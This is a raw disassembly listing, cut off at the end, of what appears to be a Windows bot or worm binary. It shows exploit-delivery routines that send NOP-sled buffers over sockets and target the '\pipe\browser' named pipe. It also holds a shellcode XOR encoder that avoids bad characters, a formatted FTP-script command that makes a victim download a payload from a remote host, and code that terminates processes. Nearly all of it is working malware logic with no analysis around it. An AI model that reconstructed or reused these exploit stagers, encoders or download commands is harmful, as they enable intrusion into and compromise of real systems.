lea edi, [esp+14h+var_4] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea esi, [esp+14h+var_4] mov edx, ecx lea edi, [esp+14h+arg_8AC] shr ecx, 2 rep movsd mov eax, dword_4465C4 mov ecx, edx and ecx, 3 rep movsb mov [esp+14h+arg_89C], eax loc_425A52: ; CODE XREF: sub_4257F0+1F1j mov ecx, 38Ah mov eax, 31313131h lea edi, [esp+14h+arg_14E0] mov ebp, [esp+14h+arg_8290] rep stosd movsx ecx, bl mov ebx, dword_511CA0 add ecx, 4 push 0 lea edx, [esp+18h+arg_28] push ecx push edx push ebp stosb call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425A96 xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425A96: ; CODE XREF: sub_4257F0+297j mov esi, dword_511CA4 push 0 lea eax, [esp+28h+arg_E90] push 640h push eax push ebp call esi ; recv push 0 push 68h push offset dword_446234 push ebp call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425ACC xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425ACC: ; CODE XREF: sub_4257F0+2CDj push 0 lea ecx, [esp+48h+arg_E70] push 640h push ecx push ebp call esi ; recv push 0 push 0A0h push offset dword_4462A0 push ebp call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425AFF xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425AFF: ; CODE XREF: sub_4257F0+300j push 0 lea edx, [esp+68h+arg_E50] push 640h push edx push ebp call esi ; recv mov eax, [esp+74h+arg_8234] test eax, eax jz loc_425BE5 mov ecx, 1Ah mov esi, offset dword_446458 lea edi, [esp+74h+arg_6098] push 0 rep movsd mov ecx, 6D6h lea esi, [esp+78h+arg_2464] lea edi, [esp+78h+arg_6100] lea eax, [esp+78h+arg_6098] rep movsd movsw mov ecx, 1Ch mov esi, offset dword_4464C4 lea edi, [esp+78h+arg_3FC0] push 10FCh rep movsd mov ecx, 297h lea esi, [esp+7Ch+arg_34F8] lea edi, [esp+7Ch+arg_4030] push eax rep movsd movsw mov ecx, 21h mov esi, offset dword_446538 lea edi, [esp+80h+arg_4AF4] push ebp rep movsd call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425BAB xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425BAB: ; CODE XREF: sub_4257F0+3ACj push 0 lea ecx, [esp+88h+arg_E30] push 640h push ecx push ebp nop call near ptr 71AB615Ah push 0 lea edx, [esp+98h+arg_3FA0] push 0FDCh push edx push ebp call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425C4C xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425BE5: ; CODE XREF: sub_4257F0+32Aj mov ecx, 1Fh mov esi, offset dword_446344 lea edi, [esp+74h+arg_1480] push 0 rep movsd mov ecx, 1F4h lea esi, [esp+78h+arg_90] lea edi, [esp+78h+arg_14FC] lea eax, [esp+78h+arg_1480] rep movsd mov ecx, 24h mov esi, offset off_4463C4 lea edi, [esp+78h+arg_1CCC] push 0CF8h push eax push ebp rep movsd mov [esp+84h+arg_2177], 0 call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425C4C xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425C4C: ; CODE XREF: sub_4257F0+3E6j ; sub_4257F0+44Dj push 12Ch nop call near ptr 28502B8h sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+164h+arg_8140] mov edi, esp rep movsd movsw call sub_4013BB add esp, 0BCh test al, al pop edi pop esi pop ebp pop ebx setnz al add esp, 81D8h retn sub_4257F0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 130h dup(0CCh) ; --------------------------------------------------------------------------- loc_425DC0: ; CODE XREF: ___:00401DCAj sub esp, 650h xor eax, eax push ebx mov [esp+4], eax push esi mov [esp+0Ch], eax lea ecx, [esp+660h] push edi mov [esp+14h], eax push ecx mov [esp+1Ch], eax mov word ptr [esp+10h], 2 nop call near ptr 71AB2BF4h mov edx, [esp+6FEh] mov [esp+10h], eax push edx nop call near ptr 71AB2B66h push 6 push 1 push 2 mov [esp+1Ah], ax nop call near ptr 71AB3B91h mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_425E26 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425E26: ; CODE XREF: ___:00425E18j lea eax, [esp+0Ch] push 10h push eax push ebx nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_425E45 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425E45: ; CODE XREF: ___:00425E37j mov edi, dword_511CA0 push 0 push 89h push offset dword_445FB8 push ebx call edi ; send cmp eax, 0FFFFFFFFh jnz short loc_425E6B xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425E6B: ; CODE XREF: ___:00425E5Dj mov esi, dword_511CA4 push 0 lea ecx, [esp+20h] push 640h push ecx push ebx call esi ; recv push 0 push 0A8h push offset dword_446044 push ebx call edi ; send cmp eax, 0FFFFFFFFh jnz short loc_425EA0 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425EA0: ; CODE XREF: ___:00425E92j push 0 lea edx, [esp+20h] push 640h push edx push ebx call esi ; recv push 0 push 0DEh push offset dword_4460F0 push ebx call edi ; send cmp eax, 0FFFFFFFFh jnz short loc_425ECF xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425ECF: ; CODE XREF: ___:00425EC1j push 0 lea eax, [esp+20h] push 640h push eax push ebx call esi ; recv movsx eax, byte ptr [esp+60h] sub eax, 30h jz short loc_425EFB dec eax jz short loc_425EF7 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425EF7: ; CODE XREF: ___:00425EE9j push 0 jmp short loc_425F2E ; --------------------------------------------------------------------------- loc_425EFB: ; CODE XREF: ___:00425EE6j push 2 push ebx sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+724h] mov edi, esp rep movsd movsw call sub_40180C add esp, 0C4h test al, al jz short loc_425F2C mov esi, 1 jmp short loc_425F5A ; --------------------------------------------------------------------------- loc_425F2C: ; CODE XREF: ___:00425F23j push 1 loc_425F2E: ; CODE XREF: ___:00425EF9j push ebx mov ecx, 2Eh sub esp, 0BCh lea esi, [esp+724h] mov edi, esp rep movsd movsw call sub_40180C add esp, 0C4h neg al sbb eax, eax neg eax mov esi, eax loc_425F5A: ; CODE XREF: ___:00425F2Aj push ebx call near ptr 71AB9639h nop test esi, esi jz short loc_425F88 sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+71Ch] mov edi, esp rep movsd movsw call sub_40114F add esp, 0BCh loc_425F88: ; CODE XREF: ___:00425F63j pop edi pop esi mov eax, 1 pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_426020: ; CODE XREF: ___:00401E51j push edi push 0C8h nop call near ptr 28502B8h mov edx, [esp+0Ch] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax repne scasb mov eax, [esp+8] push 0 not ecx dec ecx push ecx push edx push eax nop call near ptr 71AB428Ah cmp eax, 0FFFFFFFFh pop edi setnz al retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426070 proc near ; CODE XREF: sub_401A55j var_5A0 = dword ptr -5A0h var_59C = dword ptr -59Ch var_598 = dword ptr -598h var_594 = dword ptr -594h var_590 = byte ptr -590h var_400 = byte ptr -400h arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_BC = dword ptr 0C0h sub esp, 5A0h xor eax, eax push ebx mov [esp+5A4h+var_5A0], eax push ebp mov [esp+5A8h+var_59C], eax push esi lea ecx, [esp+5ACh+arg_4] push edi mov [esp+5B0h+var_598], eax push ecx mov [esp+5B4h+var_594], eax mov word ptr [esp+5B4h+var_5A0], 2 call near ptr 71AB2BF4h nop mov edx, [esp+5B0h+arg_BC] mov [esp+5B0h+var_59C], eax push edx call near ptr 71AB2B66h nop push 0 push 1 push 2 mov word ptr [esp+5BCh+var_5A0+2], ax call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4260D8 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_4260D8: ; CODE XREF: sub_426070+59j lea eax, [esp+5B0h+var_5A0] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_4260F8 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_4260F8: ; CODE XREF: sub_426070+79j push 0 lea ecx, [esp+5B4h+var_400] push 400h push ecx push esi call near ptr 71AB615Ah nop mov ecx, offset byte_449511 call sub_4017EE push eax mov ecx, offset byte_449511 call sub_4017EE mov edx, dword_44964F push eax mov eax, [esp+5B8h+arg_0] push edx push eax call sub_401E10 mov ebx, dword_511AE4 add esp, 4 lea ecx, [esp+5BCh+var_590] push eax push offset aOpenSDIiEchoUs ; "open %s %d >> ii &echo user a a >> ii &"... push 190h push ecx call ebx ; _snprintf lea edi, [esp+5CCh+var_590] or ecx, 0FFFFFFFFh xor eax, eax add esp, 1Ch repne scasb mov ebp, dword_511CA0 push 0 not ecx dec ecx lea edx, [esp+5B4h+var_590] push ecx push edx push esi call ebp ; send cmp eax, 0FFFFFFFFh jnz short loc_426187 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_426187: ; CODE XREF: sub_426070+108j push 1F4h call near ptr 28502B8h nop mov ecx, offset byte_449511 call sub_4017EE push eax push offset aS_3 ; "%s\r\n" lea eax, [esp+5B8h+var_590] push 190h push eax call ebx ; _snprintf lea edi, [esp+5C0h+var_590] or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx lea ecx, [esp+5B8h+var_590] push ecx push esi call ebp ; send cmp eax, 0FFFFFFFFh jnz short loc_4261DC pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_4261DC: ; CODE XREF: sub_426070+15Dj push 0 lea edx, [esp+5B4h+var_400] push 400h push edx push esi nop call near ptr 71AB615Ah push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 5A0h retn sub_426070 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_426280: ; CODE XREF: ___:00402199j mov eax, 1E88h call sub_437B30 push esi push edi mov ecx, 20Ch xor eax, eax lea edi, [esp+238h] mov esi, offset dword_4469B4 rep stosd mov ecx, 0FAh mov eax, 90909090h lea edi, [esp+0A68h] mov edx, dword_51010C rep stosd mov ecx, 56h lea edi, [esp+0CDEh] rep movsd mov eax, dword_446C2C mov ecx, 10h movsw movsb lea edi, [esp+0E50h] mov esi, offset dword_446964 rep stosd mov eax, dword_446C24 mov ecx, 0Bh lea edi, [esp+238h] rep movsd mov ecx, 10Ah lea esi, [esp+0A68h] lea edi, [esp+270h] mov [esp+264h], eax mov [esp+268h], edx mov [esp+26Ch], eax rep movsd mov ecx, 7 mov esi, offset dword_446994 lea edi, [esp+69Ch] mov ax, word_446C20 mov [esp+698h], edx lea edx, [esp+30h] rep movsd mov esi, dword_511AE4 lea ecx, [esp+1E98h] push ecx push offset dword_446900 push 104h push edx mov [esp+6BCh], ax call esi ; _snprintf add esp, 10h xor edi, edi lea ecx, [esp+10h] lea eax, [esp+30h] push edi push offset byte_448F30 push offset byte_448F30 push ecx mov [esp+24h], edi mov [esp+30h], edi mov [esp+3Ch], edi mov [esp+34h], eax call sub_4382AA ; --------------------------------------------------------------------------- test eax, eax jz short loc_4263A5 or eax, 0FFFFFFFFh pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_4263A5: ; CODE XREF: ___:00426397j lea edx, [esp+1E98h] lea eax, [esp+134h] push edx push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push 104h push eax call esi ; _snprintf add esp, 10h lea ecx, [esp+134h] push edi push edi push 3 push edi push edi push 0C0000000h push ecx call near ptr 2880000h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4263EF or eax, eax pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_4263EF: ; CODE XREF: ___:004263E2j lea edx, [esp+0Ch] push edi push edx lea eax, [esp+0E98h] push 1000h push eax push 49h push offset dword_446918 push esi nop call near ptr 27A0000h test eax, eax jnz short loc_426427 push esi nop call near ptr 2860000h or eax, 0FFFFFFFFh pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_426427: ; CODE XREF: ___:00426412j lea ecx, [esp+8] push edi push ecx lea edx, [esp+240h] push 830h push edx push esi call near ptr 2800000h nop test eax, eax jnz short loc_426458 push esi call near ptr 2860000h nop or eax, 0FFFFFFFFh pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_426458: ; CODE XREF: ___:00426443j push 115Ch mov ecx, 2Eh sub esp, 0BCh lea esi, [esp+1F54h] mov edi, esp rep movsd movsw call sub_401A55 add esp, 0C0h neg al sbb eax, eax pop edi neg eax pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- db 90h db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426520 proc near ; CODE XREF: sub_4013CAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [esp+4+arg_0] not ecx dec ecx mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx pop edi lea eax, [ecx+edx*2+0C1h] retn sub_426520 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426560 proc near ; CODE XREF: sub_401794j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_8] push esi mov esi, [esp+8+arg_C] push esi push ebx call sub_4013CA mov ecx, [esp+10h+arg_4] add esp, 8 cmp eax, ecx mov [esp+8+arg_8], eax jbe short loc_426585 pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426585: ; CODE XREF: sub_426560+1Ej push ebp push edi or ecx, 0FFFFFFFFh mov edi, ebx xor eax, eax mov ebp, [esp+10h+arg_0] repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx mov esi, offset dword_446C64 mov eax, ecx mov edi, ebp lea ecx, [eax+edx+12h] mov dword_446CC8, ecx lea ecx, [eax+1] mov dword_446CE9, ecx lea ecx, [eax+17h] mov dword_446CE1, ecx mov ecx, 0FFFFFFEDh sub ecx, eax mov dword_446CF7, ecx mov ecx, 1Dh rep movsd mov ecx, edx mov esi, ebx mov ebx, ecx lea edi, [ebp+74h] shr ecx, 2 rep movsd mov ecx, ebx add edx, 74h and ecx, 3 rep movsb mov esi, dword_446CD8 lea ecx, [edx+ebp] add edx, 5 mov [ecx], esi mov bl, byte_446CDC mov esi, [esp+10h+arg_C] lea edi, [edx+ebp] mov [ecx+4], bl mov ecx, eax mov ebx, ecx add edx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov esi, dword_446CDD lea ecx, [edx+ebp] add edx, 10h mov [ecx], esi mov esi, dword_446CE1 lea edi, [edx+ebp] mov [ecx+4], esi mov esi, dword_446CE5 mov [ecx+8], esi mov esi, dword_446CE9 mov [ecx+0Ch], esi mov esi, [esp+10h+arg_C] mov ecx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [edx+eax] mov eax, [esp+10h+arg_8] add edi, ebp mov ecx, 0Eh mov esi, offset byte_446CED rep movsd pop edi pop ebp pop esi pop ebx retn sub_426560 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4266D0 proc near ; CODE XREF: sub_402180j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4013CA push eax call sub_4017C6 add esp, 0Ch retn sub_4266D0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_426700: ; CODE XREF: ___:0040173Fj push ebx mov ebx, [esp+10h] push ebp push edi mov edi, [esp+1Ch] push edi push ebx call sub_402180 mov ebp, [esp+1Ch] add esp, 8 cmp eax, ebp jbe short loc_426723 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426723: ; CODE XREF: ___:0042671Bj cmp eax, 0FFFFh jbe short loc_426730 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426730: ; CODE XREF: ___:00426728j push esi push edi push ebx call sub_4013CA add eax, 101h push eax call near ptr 77C2C407h nop add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_4013CA add esp, 8 push eax push esi call sub_401794 push eax mov eax, [esp+28h] push esi push ebp push eax call sub_401B8B push esi mov edi, eax nop call near ptr 77C2C21Bh add esp, 24h mov eax, edi pop esi pop edi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4267A0 proc near ; CODE XREF: sub_4017C6j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_4267A9 inc ecx loc_4267A9: ; CODE XREF: sub_4267A0+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_4267A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4267D0 proc near ; CODE XREF: sub_401B8Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_C] cmp bl, 0Ah jz short loc_4267E8 cmp bl, 0Dh jz short loc_4267E8 cmp bl, 5Ch jz short loc_4267E8 test bl, bl jnz short loc_4267E9 loc_4267E8: ; CODE XREF: sub_4267D0+8j ; sub_4267D0+Dj ... inc ebx loc_4267E9: ; CODE XREF: sub_4267D0+16j cmp ebx, 0FFh jbe short loc_42680C mov eax, ebx shr eax, 8 cmp al, 0Ah jz short loc_426806 cmp al, 0Dh jz short loc_426806 cmp al, 5Ch jz short loc_426806 test al, al jnz short loc_42680C loc_426806: ; CODE XREF: sub_4267D0+28j ; sub_4267D0+2Cj ... add ebx, 100h loc_42680C: ; CODE XREF: sub_4267D0+1Fj ; sub_4267D0+34j push ebx call sub_4017C6 mov ecx, [esp+8+arg_4] add esp, 4 cmp eax, ecx mov [esp+4+arg_C], eax jbe short loc_426825 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426825: ; CODE XREF: sub_4267D0+4Fj cmp eax, 0FFFFh jbe short loc_426830 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426830: ; CODE XREF: sub_4267D0+5Aj mov al, byte_510114 xor edx, edx push ebp mov ebp, [esp+8+arg_8] test ebx, ebx push esi jbe short loc_426860 loc_426841: ; CODE XREF: sub_4267D0+8Ej mov cl, [edx+ebp] xor cl, al jz short loc_426857 cmp cl, 0Ah jz short loc_426857 cmp cl, 0Dh jz short loc_426857 cmp cl, 5Ch jnz short loc_42685B loc_426857: ; CODE XREF: sub_4267D0+76j ; sub_4267D0+7Bj ... inc al xor edx, edx loc_42685B: ; CODE XREF: sub_4267D0+85j inc edx cmp edx, ebx jb short loc_426841 loc_426860: ; CODE XREF: sub_4267D0+6Fj cmp ebx, 0FFh push edi mov byte_510114, al ja short loc_426893 mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_446C4C mov edi, edx mov byte_446C59, bl mov byte_446C5D, al rep movsd movsb mov esi, 15h jmp short loc_4268B9 ; --------------------------------------------------------------------------- loc_426893: ; CODE XREF: sub_4267D0+9Cj mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_446C34 mov edi, edx mov word_446C42, bx mov byte_446C47, al rep movsd movsw movsb mov esi, 17h loc_4268B9: ; CODE XREF: sub_4267D0+C1j xor ecx, ecx pop edi test ebx, ebx jbe short loc_4268CF add esi, edx loc_4268C2: ; CODE XREF: sub_4267D0+FDj mov dl, [ecx+ebp] xor dl, al mov [esi+ecx], dl inc ecx cmp ecx, ebx jb short loc_4268C2 loc_4268CF: ; CODE XREF: sub_4267D0+EEj mov eax, [esp+0Ch+arg_C] pop esi pop ebp pop ebx retn sub_4267D0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426930 proc near ; CODE XREF: sub_401E3Dj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx xor ecx, ecx lea eax, [eax+eax*2] mov dword_44B19F[eax*4], ecx mov dword_44B18B[eax*4], ecx mov dword_44B18F[eax*4], ecx mov dword_44B193[eax*4], ecx mov dword_44B197[eax*4], ecx mov dword_44B19B[eax*4], ecx mov byte_44AF8B[eax*4], cl mov byte_44B1A3[eax*4], cl retn sub_426930 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4269A0 proc near ; CODE XREF: sub_401370j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push ebx push ebp xor ebx, ebx xor ebp, ebp cmp ecx, ebx jle loc_426A57 cmp ecx, 400h jge loc_426A57 lea eax, [ecx+ecx*2] push esi shl eax, 4 sub eax, ecx push edi push ebx lea esi, [eax+eax*2] mov eax, dword_44B19F[esi*4] push eax nop call near ptr 27909D3h cmp dword_44B19F[esi*4], ebx jz short loc_4269E8 mov ebp, 1 loc_4269E8: ; CODE XREF: sub_4269A0+41j mov dword_44B19F[esi*4], ebx mov dword_44B18B[esi*4], ebx mov dword_44B18F[esi*4], ebx mov eax, dword_44B193[esi*4] cmp eax, ebx jbe short loc_426A11 push eax call sub_401C80 add esp, 4 loc_426A11: ; CODE XREF: sub_4269A0+66j mov edi, dword_511C9C mov dword_44B193[esi*4], ebx mov byte_44AF8B[esi*4], bl mov byte_44B1A3[esi*4], bl mov ecx, dword_44B197[esi*4] push ecx call edi ; closesocket mov dword_44B197[esi*4], ebx mov edx, dword_44B19B[esi*4] lea esi, ds:44B19Bh[esi*4] push edx call edi ; closesocket mov [esi], ebx pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_426A57: ; CODE XREF: sub_4269A0+Cj ; sub_4269A0+18j mov eax, ebp pop ebp pop ebx retn sub_4269A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426A90 proc near ; CODE XREF: sub_401DA7j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push ebp push esi push edi xor ebp, ebp xor edi, edi mov esi, offset dword_44B18F loc_426AA1: ; CODE XREF: sub_426A90+52j mov eax, [esp+10h+arg_0] mov ecx, [esi-4] cmp ecx, eax jnz short loc_426AD5 test ebx, ebx jle short loc_426AC7 cmp [esi], ebx jz short loc_426AB8 cmp edi, ebx jnz short loc_426AD5 loc_426AB8: ; CODE XREF: sub_426A90+22j push edi call sub_401370 add esp, 4 test eax, eax jz short loc_426AD5 jmp short loc_426AD4 ; --------------------------------------------------------------------------- loc_426AC7: ; CODE XREF: sub_426A90+1Ej push edi call sub_401370 add esp, 4 test eax, eax jz short loc_426AD5 loc_426AD4: ; CODE XREF: sub_426A90+35j inc ebp loc_426AD5: ; CODE XREF: sub_426A90+1Aj ; sub_426A90+26j ... add esi, 234h inc edi cmp esi, offset byte_4D818F jl short loc_426AA1 pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_426A90 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426B10 proc near ; CODE XREF: sub_401C80j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi push eax push 0 push 1F0FFFh mov edi, 1 nop call near ptr 2720000h mov esi, eax test esi, esi jz short loc_426B45 push 0 push esi call near ptr 27B02F0h nop test eax, eax jnz short loc_426B45 push esi xor edi, edi nop call near ptr 2860000h loc_426B45: ; CODE XREF: sub_426B10+1Dj ; sub_426B10+2Aj mov eax, edi pop edi pop esi retn sub_426B10 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426B60 proc near ; CODE XREF: sub_40148Dj arg_0 = dword ptr 4 mov edx, [esp+arg_0] xor eax, eax mov ecx, offset dword_44B18B loc_426B6B: ; CODE XREF: sub_426B60+1Cj cmp [ecx], edx jnz short loc_426B70 inc eax loc_426B70: ; CODE XREF: sub_426B60+Dj add ecx, 234h cmp ecx, offset byte_4D818B jl short loc_426B6B retn sub_426B60 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426B90 proc near ; CODE XREF: sub_401DA2j arg_0 = dword ptr 4 mov edx, [esp+arg_0] push esi xor esi, esi xor eax, eax mov ecx, offset dword_44B18B loc_426B9E: ; CODE XREF: sub_426B90+1Fj cmp [ecx], edx jz short loc_426BB3 add ecx, 234h inc eax cmp ecx, offset byte_4D818B jl short loc_426B9E mov eax, esi loc_426BB3: ; CODE XREF: sub_426B90+10j pop esi retn sub_426B90 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426BD0 proc near ; CODE XREF: sub_401BEAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset byte_44AF8B loc_426BD8: ; CODE XREF: sub_426BD0+18j cmp byte ptr [eax], 0 jz short loc_426BEE add eax, 234h inc edi cmp eax, offset dword_4D7F8B jl short loc_426BD8 mov eax, edi pop edi retn ; --------------------------------------------------------------------------- loc_426BEE: ; CODE XREF: sub_426BD0+Bj lea eax, [edi+edi*2] push esi shl eax, 4 sub eax, edi push 1FFh lea eax, [eax+eax*2] lea esi, ds:44AF8Bh[eax*4] mov eax, [esp+0Ch+arg_0] push eax push esi call near ptr 77C47A90h nop mov ecx, [esp+14h+arg_4] mov edx, [esp+14h+arg_8] mov [esi+200h], ecx mov dword ptr [esi+204h], 0 add esp, 0Ch mov dword ptr [esi+208h], 0 mov [esi+20Ch], edx mov byte ptr [esi+218h], 0 mov eax, edi pop esi pop edi retn sub_426BD0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426C70 proc near ; CODE XREF: sub_401613j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426C70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 7 push 0Eh push 9 push 10h push 4Fh push 13h push 0Fh mov esi, ecx push 4 lea eax, [esp+68h+var_3C] push 4 push eax mov dword ptr [esi+118h], 0 mov byte ptr [esi+11Ch], 0 call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_426C70 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 4 push 15h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+28h] push 4 push edx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 13h push 4Fh push 13h push 0Fh push 4 lea ecx, [esp+28h] push 4 push ecx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+60h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 13h push 0Fh push 4 lea eax, [esp+2Ch] push 4 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+0EAh] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 13h push 4 push 13h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+48h] push 4 push edx call sub_4019C4 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE add esi, 8Eh push eax push esi mov ecx, offset 